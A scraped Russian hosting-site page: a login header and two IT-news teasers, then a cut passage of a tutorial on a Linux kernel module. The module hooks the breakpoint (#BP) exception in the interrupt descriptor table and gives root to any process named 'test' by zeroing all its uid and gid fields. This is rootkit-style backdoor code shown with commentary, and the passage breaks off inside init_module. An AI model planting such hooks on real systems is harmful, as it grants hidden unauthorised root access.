Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
return((idt[i].off_high << 0x10) | idt[i].off_low);
}
Следующая функция выполняет непосредственно то, ради чего все затевалось – назначает права root процессу test. Эта функция должна быть вызвана перед обработчиком исключения #BP для проверки имени текущего процесса:
asmlinkage void my_handler()
{
if(strcmp(current->comm, "test") == 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->suid = 0;
current->sgid = 0;
current->fsuid = 0;
current->fsgid = 0;
printk(KERN_INFO "%s - EXCEPTION #BP occured! ", current->comm);
}
return;
}
При совпадении имен текущего процесса и шаблона функция назначает процессу привилегии root.
Осталось рассмотреть, чем мы заменим стандартный обработчик исключения #BP.
Следующая функция содержит в себе определение вызова нового обработчика исключения #BP – my_stub():
void stub()
{
__asm__ __volatile__ (
".globl my_stub "
".align 4, 0x90 "
"my_stub: " // новый обработчик!
" call *%0 "
" jmp *%1 "
::"m"(new_handler),"m"(old_handler));
}
Сначала команда call вызвает функцию my_handler, адрес которой находится в переменной new_handler, а после возврата из этой функции команда jmp передает управление по адресу старого обработчика #BP, который сохранен в переменной old_handler.
Все функции, которые мы рассмотрели, будут вызваны во время загрузки модуля ядра:
int init_module()
{
int i = 3; // номер исключения - Breakpoint (#BP)